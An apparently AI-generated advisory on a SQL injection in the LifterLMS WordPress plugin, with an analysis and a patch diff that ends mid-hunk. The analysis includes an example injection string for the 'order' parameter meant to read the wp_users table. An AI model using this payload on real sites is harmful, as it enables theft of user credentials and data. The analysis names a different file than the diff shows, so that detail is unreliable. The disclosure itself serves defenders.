Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 17, 2026

CVE-2026-5207: LifterLMS <= 9.2.1 – Authenticated (Custom+) SQL Injection via 'order' Parameter (lifterlms)

CVE ID CVE-2026-5207
Plugin lifterlms
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 9.2.1
Patched Version 9.2.2
Disclosed April 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5207:
This vulnerability is an authenticated SQL injection in the LifterLMS WordPress plugin affecting versions up to and including 9.2.1. The vulnerability exists in the quiz reporting functionality and allows attackers with Instructor-level access or higher to inject malicious SQL queries via the ‘order’ parameter. The CVSS score of 6.5 reflects the moderate impact of this access-controlled injection.

The root cause is insufficient input validation and escaping of the ‘order’ parameter in the quiz attempts reporting table. The vulnerable code resides in the `LLMS_Table_Quiz_Attempts` class within the file `lifterlms/includes/admin/reporting/tables/llms.table.quiz.attempts.php`. The `get_results()` method accepts user-supplied ‘order’ parameter values without proper sanitization. Specifically, the code at line 185 in the patched version shows the vulnerable pattern: `$order = isset( $args[‘order’] ) ? $args[‘order’] : $this->order;` followed by `$this->order = in_array( $order, array( ‘ASC’, ‘DESC’ ), true ) ? $order : ‘ASC’;`. The original code lacked this validation, allowing arbitrary values to pass through to SQL ORDER BY clauses.

Exploitation requires an authenticated attacker with Instructor-level privileges or higher who possesses the `edit_post` capability on quizzes. The attack vector targets the quiz reporting endpoint, where the attacker can submit malicious ‘order’ parameter values containing SQL injection payloads. The payload would be appended to existing SQL queries executed when viewing quiz attempt reports. Attackers can craft requests to the admin reporting interface with parameters like `order=ASC; SELECT * FROM wp_users–` to extract sensitive database information.

The patch adds input validation to restrict the ‘order’ parameter to only ‘ASC’ or ‘DESC’ values. The fix modifies the `get_results()` method in `llms.table.quiz.attempts.php` at line 185-186. The patched code implements an `in_array()` check: `$this->order = in_array( $order, array( ‘ASC’, ‘DESC’ ), true ) ? $order : ‘ASC’;`. This validation ensures any user-supplied ‘order’ value not matching ‘ASC’ or ‘DESC’ defaults to ‘ASC’, preventing SQL injection. The patch also updates the plugin version from 9.2.1 to 9.2.2 in `class-lifterlms.php`.

Successful exploitation allows attackers to execute arbitrary SQL queries on the WordPress database. This can lead to extraction of sensitive information including user credentials, payment details, quiz answers, and other protected data. While the attack requires Instructor-level authentication, compromised accounts or privilege escalation could enable broader database access. The vulnerability represents a classic SQL injection with direct impact on data confidentiality and potential for further system compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/lifterlms/class-lifterlms.php
+++ b/lifterlms/class-lifterlms.php
@@ -34,7 +34,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '9.2.1';
+	public $version = '9.2.2';

 	/**
 	 * LLMS_Assets instance
--- a/lifterlms/includes/abstracts/abstract.llms.admin.table.php
+++ b/lifterlms/includes/abstracts/abstract.llms.admin.table.php
@@ -372,8 +372,10 @@
 	public function get_filter_placeholder( $column_id, $column_data ) {
 		$placeholder = __( 'Any', 'lifterlms' );
 		if ( is_array( $column_data ) && isset( $column_data['title'] ) ) {
+			/* translators: %s: Column title. */
 			$placeholder = sprintf( __( 'Any %s', 'lifterlms' ), $column_data['title'] );
 		} elseif ( is_string( $column_data ) ) {
+			/* translators: %s: Column title. */
 			$placeholder = sprintf( __( 'Any %s', 'lifterlms' ), $column_data );
 		}
 		/**
@@ -793,7 +795,7 @@
 						<form action="" method="POST">
 							<button class="llms-button-primary small" name="llms_quiz_resumable_attempt_action" type="submit" value="llms_clear_resumable_attempts">
 								<i class="fa fa-trash-o" aria-hidden="true"></i>
-								<?php _e( 'Clear resumable attempts', 'lifterlms' ); ?>
+								<?php echo esc_html( __( 'Clear resumable attempts', 'lifterlms' ) ); ?>
 							</button>
 							<input type="hidden" name="llms_quiz_id" value="<?php echo esc_attr( $this->quiz_id ); ?>">
 							<?php wp_nonce_field( 'llms_quiz_attempt_actions', '_llms_quiz_attempt_nonce' ); ?>
@@ -814,7 +816,12 @@
 				<?php if ( $this->is_paginated ) : ?>
 					<div class="llms-table-pagination">
 						<?php if ( $this->max_pages ) : ?>
-							<span class="llms-table-page-count"><?php echo esc_html( sprintf( esc_html_x( '%1$d of %2$d', 'pagination', 'lifterlms' ), $this->current_page, $this->max_pages ) ); ?></span>
+							<span class="llms-table-page-count">
+							<?php
+								/* translators: %1$d: Current page, %2$d: Total page count. */
+								echo esc_html( sprintf( esc_html_x( '%1$d of %2$d', 'pagination', 'lifterlms' ), $this->current_page, $this->max_pages ) );
+							?>
+							</span>
 						<?php endif; ?>
 						<?php if ( 1 !== $this->get_current_page() ) : ?>
 							<?php if ( $this->max_pages ) : ?>
--- a/lifterlms/includes/abstracts/abstract.llms.database.query.php
+++ b/lifterlms/includes/abstracts/abstract.llms.database.query.php
@@ -397,6 +397,7 @@
 		} else {
 			_doing_it_wrong(
 				__METHOD__,
+				/* translators: %s: Method name. */
 				esc_html( sprintf( __( "Method '%s' not implemented. Must be overridden in subclass.", 'lifterlms' ), __METHOD__ ) ),
 				'6.0.0'
 			);
--- a/lifterlms/includes/abstracts/abstract.llms.payment.gateway.php
+++ b/lifterlms/includes/abstracts/abstract.llms.payment.gateway.php
@@ -362,6 +362,7 @@
 		$fields[] = array(
 			'autoload'     => true,
 			'id'           => $this->get_option_name( 'enabled' ),
+			/* translators: %s: Payment gateway title. */
 			'desc'         => sprintf( _x( 'Enable %s', 'Payment gateway title', 'lifterlms' ), $this->get_admin_title() ),
 			'desc_tooltip' => __( 'Checking this box will allow users to use this payment gateway.', 'lifterlms' ),
 			'default'      => $this->get_enabled(),
@@ -389,6 +390,7 @@

 			$fields[] = array(
 				'id'           => $this->get_option_name( 'test_mode_enabled' ),
+				/* translators: %s: Payment gateway test mode title. */
 				'desc'         => sprintf( _x( 'Enable %s', 'Payment gateway test mode title', 'lifterlms' ), $this->get_test_mode_title() ),
 				'desc_tooltip' => $this->get_test_mode_description(),
 				'default'      => $this->get_test_mode_enabled(),
@@ -401,6 +403,7 @@
 		$fields[] = array(
 			'id'           => $this->get_option_name( 'logging_enabled' ),
 			'desc'         => __( 'Enable debug logging', 'lifterlms' ),
+			/* Translators: %s: Debug log location. */
 			'desc_tooltip' => sprintf( __( 'When enabled, debugging information will be logged to "%s"', 'lifterlms' ), llms_get_log_path( $this->get_id() ) ),
 			'title'        => __( 'Debug Log', 'lifterlms' ),
 			'type'         => 'checkbox',
@@ -803,7 +806,7 @@
 	public function handle_payment_source_switch( $order, $form_data = array() ) {
 		return llms_add_notice(
 			sprintf(
-				// Translatos: %s = the title of the payment gateway.
+				/* translators: %s: the title of the payment gateway. */
 				esc_html__( 'The selected payment gateway "%s" does not support payment method switching.', 'lifterlms' ),
 				$this->get_title()
 			),
--- a/lifterlms/includes/abstracts/abstract.llms.post.model.php
+++ b/lifterlms/includes/abstracts/abstract.llms.post.model.php
@@ -724,7 +724,7 @@
 		if ( 'html' === $format || 'raw' === $format ) {
 			$price = llms_price( $price, $price_args );
 			if ( 'raw' === $format ) {
-				$price = strip_tags( $price );
+				$price = wp_strip_all_tags( $price );
 			}
 		} elseif ( 'float' === $format ) {
 			$price = floatval( number_format( $price, get_lifterlms_decimals(), '.', '' ) );
@@ -855,7 +855,7 @@

 		$prop = $prop ? $prop : $type . '_embed';
 		$url  = $this->get( $prop );
-		if ( trim( $url ) && parse_url( $url ) ) {
+		if ( trim( $url ) && wp_parse_url( $url ) ) {
 			$this->get_provider_support( $url );

 			$ret = wp_oembed_get( sanitize_url( $url ) );
@@ -1516,6 +1516,7 @@
 			$u = update_post_meta( $this->id, $this->meta_prefix . $key, wp_slash( $val ) );

 			if ( ! ( is_numeric( $u ) || true === $u ) ) {
+				/* translators: %s: Meta key. */
 				$error->add( 'invalid_meta', sprintf( __( 'Cannot insert/update the %s meta', 'lifterlms' ), $key ) );
 			}
 		}
--- a/lifterlms/includes/abstracts/abstract.llms.update.php
+++ b/lifterlms/includes/abstracts/abstract.llms.update.php
@@ -73,7 +73,6 @@
 				break;

 		}
-
 	}

 	/**
@@ -90,7 +89,6 @@
 			add_action( $this->get_hook( $func ), array( $this, $func ), 10, 1 );

 		}
-
 	}

 	/**
@@ -116,7 +114,6 @@
 			$this->log( sprintf( 'Progress: %d completed, %d remaining', $completed, $remaining ) );

 		}
-
 	}

 	/**
@@ -132,7 +129,6 @@
 		$this->log( sprintf( 'LLMS update tasks completed for version %s', $this->version ) );
 		LLMS_Install::update_db_version( $this->version );
 		delete_option( 'llms_update_' . $this->version );
-
 	}

 	/**
@@ -150,7 +146,6 @@
 		}

 		$this->log( sprintf( 'LLMS update tasks enqueued for version %s', $this->version ) );
-
 	}

 	/**
@@ -168,7 +163,6 @@
 		$progress['functions'][ $function ] = 'done';
 		update_option( 'llms_update_' . $this->version, $progress );
 		$this->log( sprintf( '%s::%s() is complete', get_class( $this ), $function ) );
-
 	}

 	/**
@@ -198,7 +192,6 @@
 		);

 		return get_option( 'llms_update_' . $this->version, $default );
-
 	}

 	/**
@@ -242,7 +235,6 @@
 		$p           = $this->get_progress();
 		$p['status'] = $status;
 		update_option( 'llms_update_' . $this->version, $p );
-
 	}

 	/**
@@ -258,7 +250,6 @@
 		if ( defined( 'LLMS_BG_UPDATE_LOG' ) && LLMS_BG_UPDATE_LOG ) {
 			llms_log( $msg, 'updater' );
 		}
-
 	}


@@ -283,9 +274,13 @@
 		$max   = count( $progress['functions'] );
 		$width = $val ? ( $val / $max ) * 100 : 0;
 		$html  = '
-			<p>' . sprintf( __( 'LifterLMS Database Upgrade %s Progress Report', 'lifterlms' ), $this->version ) . '</p>
+			';
+		/* translators: %s: Database version. */
+		$html .= '<p>' . sprintf( __( 'LifterLMS Database Upgrade %s Progress Report', 'lifterlms' ), $this->version ) . '</p>
 			<div style="background:#efefef;height:18px;margin:0.5em 0;"><div style="background:#ef476f;display:block;height:18px;width:' . $width . '%;"><span style="padding:0 0.5em;color:#fff;">' . $width . '%</span></div></div>
-			<p><em>' . sprintf( __( 'This completion percentage is an estimate, please be patient and %1$sclick here%2$s for more information.', 'lifterlms' ), '<a href="https://lifterlms.com/docs/lifterlms-database-updates/#upgrade-progress-report" target="_blank">', '</a>' ) . '</em></p>
+			';
+		/* translators: %1$s: Opening link tag, %2$s: closing link tag. */
+		$html .= '<p><em>' . sprintf( __( 'This completion percentage is an estimate, please be patient and %1$sclick here%2$s for more information.', 'lifterlms' ), '<a href="https://lifterlms.com/docs/lifterlms-database-updates/#upgrade-progress-report" target="_blank">', '</a>' ) . '</em></p>
 		';

 		LLMS_Admin_Notices::add_notice(
@@ -297,7 +292,5 @@
 				'type'        => 'info',
 			)
 		);
-
 	}
-
 }
--- a/lifterlms/includes/abstracts/llms-abstract-email-provider.php
+++ b/lifterlms/includes/abstracts/llms-abstract-email-provider.php
@@ -326,9 +326,9 @@
 		}

 		if ( ! $this->is_installed() ) {
-			// Translators: %s = title of the email delivery plugin.
 			return array(
 				'code'    => 'llms_' . $this->id . '_not_found',
+				/* translators: %s: title of the email delivery plugin. */
 				'message' => sprintf( __( '%s plugin not found. Please try again.', 'lifterlms' ), $this->get_title() ),
 				'status'  => 400,
 			);
--- a/lifterlms/includes/abstracts/llms-abstract-generator-posts.php
+++ b/lifterlms/includes/abstracts/llms-abstract-generator-posts.php
@@ -171,6 +171,7 @@

 		$class_name = sprintf( 'LLMS_%s', implode( '_', array_map( 'ucfirst', explode( '_', $type ) ) ) );
 		if ( ! class_exists( $class_name ) ) {
+			/* translators: %s: Name of class. */
 			throw new Exception( esc_html( sprintf( __( 'The class "%s" does not exist.', 'lifterlms' ), $class_name ) ), intval( self::ERROR_INVALID_POST ) );
 		}

@@ -514,6 +515,7 @@
 			$term = wp_insert_term( $term_name, $tax );

 			if ( is_wp_error( $term ) ) {
+				/* translators: %s: name of term. */
 				throw new Exception( esc_html( sprintf( __( 'Error creating new term "%s".', 'lifterlms' ), $term_name ) ), intval( self::ERROR_CREATE_TERM ) );
 			}

@@ -811,7 +813,7 @@
 		$blocked_hosts = apply_filters(
 			'llms_generator_sideload_hosts_blocklist',
 			array(
-				parse_url( get_site_url(), PHP_URL_HOST ),
+				wp_parse_url( get_site_url(), PHP_URL_HOST ),
 			)
 		);

@@ -821,7 +823,7 @@
 		foreach ( $raw['_extras']['images'] as $src ) {

 			// Don't sideload images from blocked hosts.
-			if ( in_array( parse_url( $src, PHP_URL_HOST ), $blocked_hosts, true ) ) {
+			if ( in_array( wp_parse_url( $src, PHP_URL_HOST ), $blocked_hosts, true ) ) {
 				continue;
 			}

--- a/lifterlms/includes/abstracts/llms-abstract-meta-box-user-engagement-sync.php
+++ b/lifterlms/includes/abstracts/llms-abstract-meta-box-user-engagement-sync.php
@@ -259,7 +259,7 @@
 		// Output the HTML.
 		echo '<div class="llms-mb-container">';
 		do_action( 'llms_metabox_before_content', $this->id );
-		echo wp_kses_post( $sync_action );
+		echo wp_kses( $sync_action, LLMS_ALLOWED_HTML_FORM_FIELDS );
 		do_action( 'llms_metabox_after_content', $this->id );
 		echo '</div>';
 	}
@@ -290,16 +290,15 @@
 		);

 		$sync_alert   = str_replace( "'", "'", $texts['sync_alert'] );
-		$on_click     = "return confirm('$sync_alert')";
 		$button_label = __( 'Sync', 'lifterlms' );

-		return <<<HEREDOC
-
-<p>{$texts['sync_description']}</p>
+		ob_start();
+		?>
+<p><?php echo wp_kses_post( $texts['sync_description'] ); ?></p>
 <p style="text-align: right; margin: 1em 0;">
-<a href="$sync_url" class="llms-button-primary sync-action full small" onclick="$on_click" style="box-sizing:border-box;">$button_label</a>
+<a href="<?php echo esc_url( $sync_url ); ?>" class="llms-button-primary sync-action full small" onclick="return confirm('<?php echo esc_js( $sync_alert ); ?>')" style="box-sizing:border-box;"><?php echo wp_kses_post( $button_label ); ?></a>
 </p>
-
-HEREDOC;
+		<?php
+		return ob_get_clean();
 	}
 }
--- a/lifterlms/includes/abstracts/llms.abstract.exportable.admin.table.php
+++ b/lifterlms/includes/abstracts/llms.abstract.exportable.admin.table.php
@@ -164,7 +164,7 @@
 	 * @return mixed
 	 */
 	public function get_export_data( $key, $data ) {
-		return trim( strip_tags( $this->get_data( $key, $data ) ) );
+		return trim( wp_strip_all_tags( $this->get_data( $key, $data ) ) );
 	}

 	/**
--- a/lifterlms/includes/abstracts/llms.abstract.notification.view.php
+++ b/lifterlms/includes/abstracts/llms.abstract.notification.view.php
@@ -341,6 +341,7 @@

 		if ( ( $now - $created ) <= ( $max_days * DAY_IN_SECONDS ) ) {

+			/* translators: %s: Relative date display. */
 			return sprintf( _x( 'About %s ago', 'relative date display', 'lifterlms' ), $this->get_date_relative( 'created' ) );

 		}
--- a/lifterlms/includes/admin/class-llms-admin-review.php
+++ b/lifterlms/includes/admin/class-llms-admin-review.php
@@ -87,7 +87,7 @@
 		// Conditionally filter footer text with our content.
 		if ( ! empty( $show_footer ) ) {

-			$url  = 'https://wordpress.org/support/plugin/lifterlms/reviews/?filter=5#new-post';
+			$url  = 'https://wordpress.org/support/plugin/lifterlms/reviews/#new-post';
 			$text = sprintf(
 				wp_kses(
 					/* Translators: %1$s = LifterLMS plugin name; %2$s = WP.org review link; %3$s = WP.org review link. */
--- a/lifterlms/includes/admin/post-types/class.llms.post.tables.php
+++ b/lifterlms/includes/admin/post-types/class.llms.post.tables.php
@@ -155,7 +155,7 @@
 				if ( ! $r ) {
 					LLMS_Admin_Notices::flash_notice( esc_html__( 'There was an error detaching the post.', 'lifterlms' ), 'error' );
 				}
-				wp_redirect( admin_url( 'edit.php?post_type=' . $post->get( 'type' ) ) );
+				wp_safe_redirect( admin_url( 'edit.php?post_type=' . $post->get( 'type' ) ) );
 				exit;

 			case 'llms-clone-post':
@@ -166,7 +166,7 @@
 				if ( is_wp_error( $r ) ) {
 					LLMS_Admin_Notices::flash_notice( $r->get_error_message(), 'error' );
 				}
-				wp_redirect( admin_url( 'edit.php?post_type=' . $post->get( 'type' ) ) );
+				wp_safe_redirect( admin_url( 'edit.php?post_type=' . $post->get( 'type' ) ) );
 				exit;

 		}
--- a/lifterlms/includes/admin/post-types/meta-boxes/class-llms-meta-box-achievement-sync.php
+++ b/lifterlms/includes/admin/post-types/meta-boxes/class-llms-meta-box-achievement-sync.php
@@ -72,7 +72,7 @@
 				return sprintf(
 					/* translators: %1$d: number of awarded achievements */
 					__(
-						'This action will replace the current title, content, background etc. of %1$d awarded achievements with the ones from this achievement template.nAre you sure you want to proceed?',
+						'This action will replace the current title, content, background etc. of %1$d awarded achievements with the ones from this achievement template. Are you sure you want to proceed?',
 						'lifterlms'
 					),
 					( $variables['awarded_number'] ?? 0 )
@@ -81,14 +81,14 @@
 				return sprintf(
 					/* translators: %1$d: number of awarded achievements */
 					__(
-						'This action will replace the current title, content, background etc. of %1$d awarded achievement with the ones from this achievement template.nAre you sure you want to proceed?',
+						'This action will replace the current title, content, background etc. of %1$d awarded achievement with the ones from this achievement template. Are you sure you want to proceed?',
 						'lifterlms'
 					),
 					( $variables['awarded_number'] ?? 0 )
 				);
 			case self::TEXT_SYNC_ALERT_THIS_AWARDED_ENGAGEMENT:
 				return __(
-					'This action will replace the current title, content, background etc. of this awarded achievement with the ones from the achievement template.nAre you sure you want to proceed?',
+					'This action will replace the current title, content, background etc. of this awarded achievement with the ones from the achievement template. Are you sure you want to proceed?',
 					'lifterlms'
 				);
 			case self::TEXT_SYNC_DESCRIPTION_MANY_AWARDED_ENGAGEMENTS:
--- a/lifterlms/includes/admin/post-types/meta-boxes/class-llms-meta-box-certificate-sync.php
+++ b/lifterlms/includes/admin/post-types/meta-boxes/class-llms-meta-box-certificate-sync.php
@@ -72,7 +72,7 @@
 				return sprintf(
 					/* translators: %1$d: number of awarded certificates */
 					__(
-						'This action will replace the current title, content, background etc. of %1$d awarded certificates with the ones from this certificate template.nAre you sure you want to proceed?',
+						'This action will replace the current title, content, background etc. of %1$d awarded certificates with the ones from this certificate template. Are you sure you want to proceed?',
 						'lifterlms'
 					),
 					( $variables['awarded_number'] ?? 0 )
@@ -81,14 +81,14 @@
 				return sprintf(
 					/* translators: %1$d: number of awarded certificates */
 					__(
-						'This action will replace the current title, content, background etc. of %1$d awarded certificate with the ones from this certificate template.nAre you sure you want to proceed?',
+						'This action will replace the current title, content, background etc. of %1$d awarded certificate with the ones from this certificate template. Are you sure you want to proceed?',
 						'lifterlms'
 					),
 					( $variables['awarded_number'] ?? 0 )
 				);
 			case self::TEXT_SYNC_ALERT_THIS_AWARDED_ENGAGEMENT:
 				return __(
-					'This action will replace the current title, content, background etc. of this awarded certificate with the ones from the certificate template.nAre you sure you want to proceed?',
+					'This action will replace the current title, content, background etc. of this awarded certificate with the ones from the certificate template. Are you sure you want to proceed?',
 					'lifterlms'
 				);
 			case self::TEXT_SYNC_DESCRIPTION_MANY_AWARDED_ENGAGEMENTS:
--- a/lifterlms/includes/admin/reporting/tables/llms.table.quiz.non.attempts.php
+++ b/lifterlms/includes/admin/reporting/tables/llms.table.quiz.non.attempts.php
@@ -185,9 +185,10 @@
 			$this->current_page = absint( $args['page'] );
 		}

-		$per = apply_filters( 'llms_reporting_' . $this->id . '_per_page', 25 );
+		$per         = apply_filters( 'llms_reporting_' . $this->id . '_per_page', 25 );
+		$order       = isset( $args['order'] ) ? $args['order'] : $this->order;
+		$this->order = in_array( $order, array( 'ASC', 'DESC' ), true ) ? $order : 'ASC';

-		$this->order   = isset( $args['order'] ) ? $args['order'] : $this->order;
 		$this->orderby = isset( $args['orderby'] ) ? $args['orderby'] : $this->orderby;

 		$this->filter   = isset( $args['filter'] ) ? $args['filter'] : $this->get_filter();
--- a/lifterlms/includes/admin/views/access-plans/access-plan.php
+++ b/lifterlms/includes/admin/views/access-plans/access-plan.php
@@ -275,7 +275,7 @@
 					<input
 						id="_llms_plans[<?php echo esc_attr( $order ); ?>][price]"
 						class="llms-plan-price" name="_llms_plans[<?php echo esc_attr( $order ); ?>][price]"
-						placeholder="<?php echo esc_attr( strip_tags( llms_price( 1000 ) ) ); ?>"
+						placeholder="<?php echo esc_attr( wp_strip_all_tags( llms_price( 1000 ) ) ); ?>"
 						<?php if ( apply_filters( 'llms_access_plan_price_required', true, $plan ) ) : ?>
 						min="<?php echo esc_attr( $price_step ); ?>"
 						required="required"
@@ -475,7 +475,7 @@
 						<i class="fa fa-question-circle"></i>
 					</span>
 				</label>
-				<input id="_llms_plans[<?php echo esc_attr( $order ); ?>][trial_price]" name="_llms_plans[<?php echo esc_attr( $order ); ?>][trial_price]" min="0" placeholder="<?php echo esc_attr( strip_tags( llms_price( 1000 ) ) ); ?>" required="required" step="<?php echo esc_attr( $price_step ); ?>" type="text"<?php echo ( $plan ) ? ' value="' . esc_attr( $plan->get( 'trial_price' ) ) . '"' : ' disabled="disabled"'; ?>>
+				<input id="_llms_plans[<?php echo esc_attr( $order ); ?>][trial_price]" name="_llms_plans[<?php echo esc_attr( $order ); ?>][trial_price]" min="0" placeholder="<?php echo esc_attr( wp_strip_all_tags( llms_price( 1000 ) ) ); ?>" required="required" step="<?php echo esc_attr( $price_step ); ?>" type="text"<?php echo ( $plan ) ? ' value="' . esc_attr( $plan->get( 'trial_price' ) ) . '"' : ' disabled="disabled"'; ?>>
 			</div>

 			<div class="llms-metabox-field d-1of4" data-controller="llms-trial-offer" data-value-is="yes">
@@ -490,14 +490,14 @@
 			</div>

 			<div class="llms-metabox-field d-1of4" data-controller="llms-trial-offer" data-value-is="yes">
-				<label for="_llms_plans[<?php echo $order; ?>][trial_period]">
+				<label for="_llms_plans[<?php echo esc_attr( $order ); ?>][trial_period]">
 					<?php esc_html_e( 'Trial Period', 'lifterlms' ); ?>
 					<span class="screen-reader-text"><?php esc_html_e( 'Define the time length for the trial period (days, weeks, months, years).', 'lifterlms' ); ?></span>
 					<span class="tip--top-right" data-tip="<?php esc_attr_e( 'Define the time length for the trial period (days, weeks, months, years).', 'lifterlms' ); ?>">
 						<i class="fa fa-question-circle"></i>
 					</span>
 				</label>
-				<select id="_llms_plans[<?php echo $order; ?>][trial_period]" name="_llms_plans[<?php echo $order; ?>][trial_period]"<?php echo ( $plan ) ? '' : ' disabled="disabled"'; ?>>
+				<select id="_llms_plans[<?php echo esc_attr( $order ); ?>][trial_period]" name="_llms_plans[<?php echo esc_attr( $order ); ?>][trial_period]"<?php echo ( $plan ) ? '' : ' disabled="disabled"'; ?>>
 					<option value="year"<?php selected( 'year', ( $plan && 'yes' === $trial_offer ) ? $plan->get( 'trial_period' ) : '' ); ?>><?php esc_html_e( 'year(s)', 'lifterlms' ); ?></option>
 					<option value="month"<?php selected( 'month', ( $plan && 'yes' === $trial_offer ) ? $plan->get( 'trial_period' ) : '' ); ?>><?php esc_html_e( 'month(s)', 'lifterlms' ); ?></option>
 					<option value="week"<?php selected( 'week', ( $plan && 'yes' === $trial_offer ) ? $plan->get( 'trial_period' ) : '' ); ?>><?php esc_html_e( 'week(s)', 'lifterlms' ); ?></option>
@@ -546,7 +546,7 @@
 						<i class="fa fa-question-circle"></i>
 					</span>
 				</label>
-				<input id="_llms_plans[<?php echo esc_attr( $order ); ?>][sale_price]" name="_llms_plans[<?php echo esc_attr( $order ); ?>][sale_price]" min="0" placeholder="<?php echo esc_attr( strip_tags( llms_price( 1000 ) ) ); ?>" required="required" step="<?php echo esc_attr( $price_step ); ?>" type="number"<?php echo ( $plan && 'yes' === $on_sale ) ? ' value="' . esc_attr( $plan->get( 'sale_price' ) ) . '"' : ' disabled="disabled"'; ?>>
+				<input id="_llms_plans[<?php echo esc_attr( $order ); ?>][sale_price]" name="_llms_plans[<?php echo esc_attr( $order ); ?>][sale_price]" min="0" placeholder="<?php echo esc_attr( wp_strip_all_tags( llms_price( 1000 ) ) ); ?>" required="required" step="<?php echo esc_attr( $price_step ); ?>" type="number"<?php echo ( $plan && 'yes' === $on_sale ) ? ' value="' . esc_attr( $plan->get( 'sale_price' ) ) . '"' : ' disabled="disabled"'; ?>>
 			</div>

 			<div class="llms-metabox-field d-1of4" data-controller="llms-on-sale" data-value-is="yes">
@@ -615,7 +615,7 @@
 								<i class="fa fa-question-circle"></i>
 							</span>
 						</label>
-						<select data-controller-id="llms-availability" name="_llms_plans[<?php echo $order; ?>][availability]"<?php echo ( $plan ) ? '' : ' disabled="disabled"'; ?>>
+						<select data-controller-id="llms-availability" name="_llms_plans[<?php echo esc_attr( $order ); ?>][availability]"<?php echo ( $plan ) ? '' : ' disabled="disabled"'; ?>>
 							<option value="open"<?php selected( 'open', $plan ? $availability : '' ); ?>><?php esc_html_e( 'Anyone', 'lifterlms' ); ?></option>
 							<option value="members"<?php selected( 'members', $plan ? $availability : '' ); ?>><?php esc_html_e( 'Members only', 'lifterlms' ); ?></option>
 						</select>
--- a/lifterlms/includes/admin/views/notices/review-request.php
+++ b/lifterlms/includes/admin/views/notices/review-request.php
@@ -22,7 +22,7 @@
 		<p><?php esc_html_e( 'Could you please do us a BIG favor and give LifterLMS a 5-star rating on WordPress to help us grow?', 'lifterlms' ); ?></p>
 		<p>– <?php esc_html_e( 'Chris Badgett, CEO of LifterLMS', 'lifterlms' ); ?></p>
 		<p>
-			<a href="https://wordpress.org/support/plugin/lifterlms/reviews/?filter=5#new-post" class="llms-button-primary small llms-review-notice-dismiss llms-review-notice-out" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'Ok, you deserve it', 'lifterlms' ); ?></a>
+			<a href="https://wordpress.org/support/plugin/lifterlms/reviews/#new-post" class="llms-button-primary small llms-review-notice-dismiss llms-review-notice-out" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'Ok, you deserve it', 'lifterlms' ); ?></a>
 			<button class="llms-button-secondary small llms-review-notice-dismiss"><?php esc_html_e( 'Nope, maybe later', 'lifterlms' ); ?></button>
 			<button class="llms-button-secondary small llms-review-notice-dismiss"><?php esc_html_e( 'I already did', 'lifterlms' ); ?></button>
 		</p>
--- a/lifterlms/includes/class-llms-dom-document.php
+++ b/lifterlms/includes/class-llms-dom-document.php
@@ -126,14 +126,16 @@
 	}

 	/**
-	 * Load the HTML string in the DOMDocument using mb_convert_econding
+	 * Load the HTML string in the DOMDocument using mb_encode_numericentity
 	 *
 	 * @since 4.13.0
+	 * @since 9.2.2 Use `mb_encode_numericentity()` instead of deprecated `mb_convert_encoding()` with 'HTML-ENTITIES'.
 	 *
 	 * @return void
 	 */
 	private function load_with_mb_convert_encoding() {
-		if ( ! $this->dom->loadHTML( mb_convert_encoding( $this->source, 'HTML-ENTITIES', 'UTF-8' ) ) ) {
+		$html = mb_encode_numericentity( $this->source, array( 0x80, 0x10FFFF, 0, 0x1FFFFF ), 'UTF-8' );
+		if ( ! $this->dom->loadHTML( $html ) ) {
 			$this->error = new WP_Error( 'llms-dom-document-error', __( 'DOMDocument XML Error encountered.', 'lifterlms' ), libxml_get_errors() );
 		}
 	}
--- a/lifterlms/includes/class-llms-media-protector.php
+++ b/lifterlms/includes/class-llms-media-protector.php
@@ -356,7 +356,7 @@
 	 */
 	protected function get_size() {

-		$size = ( isset( $_GET[ self::URL_PARAMETER_SIZE ] ) ) ? sanitize_text_field( $_GET[ self::URL_PARAMETER_SIZE ] ) : null;
+		$size = ( isset( $_GET[ self::URL_PARAMETER_SIZE ] ) ) ? sanitize_text_field( wp_unslash( $_GET[ self::URL_PARAMETER_SIZE ] ) ) : null;
 		if ( false === $size ) {
 			$size = null;
 		} elseif ( is_string( $size ) && '[' === $size[0] ) {
@@ -534,7 +534,7 @@
 		$is_modified = true;

 		$file_modified     = filemtime( $file_name );
-		$if_modified_since = ( isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) ? sanitize_text_field( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) : '';
+		$if_modified_since = ( isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) : '';
 		if ( strtotime( $if_modified_since ) === $file_modified ) {
 			$is_modified = false;
 		}
@@ -733,7 +733,7 @@
 	 * @return void
 	 */
 	protected function send_file( $file_name, $media_id ) {
-		$server_software = ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? sanitize_text_field( $_SERVER['SERVER_SOFTWARE'] ) : '' );
+		$server_software = ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) ) : '' );

 		if (
 			( array_key_exists( 'MOD_X_SENDFILE_ENABLED', $_SERVER ) && '1' === $_SERVER['MOD_X_SENDFILE_ENABLED'] ) ||
@@ -826,7 +826,7 @@
 	}

 	protected function strip_query_params( $file_name ) {
-		$parsed_url = parse_url( $file_name );
+		$parsed_url = wp_parse_url( $file_name );
 		$path       = isset( $parsed_url['path'] ) ? $parsed_url['path'] : $file_name;
 		return $path;
 	}
@@ -893,7 +893,7 @@
 		if ( ! isset( $size ) ) {
 			$size = $this->get_size();
 		}
-		$icon = ( isset( $_GET[ self::URL_PARAMETER_ICON ] ) ? sanitize_text_field( $_GET[ self::URL_PARAMETER_ICON ] ) : null );
+		$icon = ( isset( $_GET[ self::URL_PARAMETER_ICON ] ) ? sanitize_text_field( wp_unslash( $_GET[ self::URL_PARAMETER_ICON ] ) ) : null );
 		if ( ! is_null( $size ) || $icon ) {
 			$image     = wp_get_attachment_image_src( $media_id, $size, $icon );
 			$file_name = dirname( $file_name ) . '/' . basename( $image[0] );
--- a/lifterlms/includes/class.llms.course.data.php
+++ b/lifterlms/includes/class.llms.course.data.php
@@ -130,7 +130,7 @@

 		global $wpdb;

-		$ids = implode( ',', $this->get_all_ids() );
+		$ids = implode( ',', array_map( 'absint', $this->get_all_ids() ) );

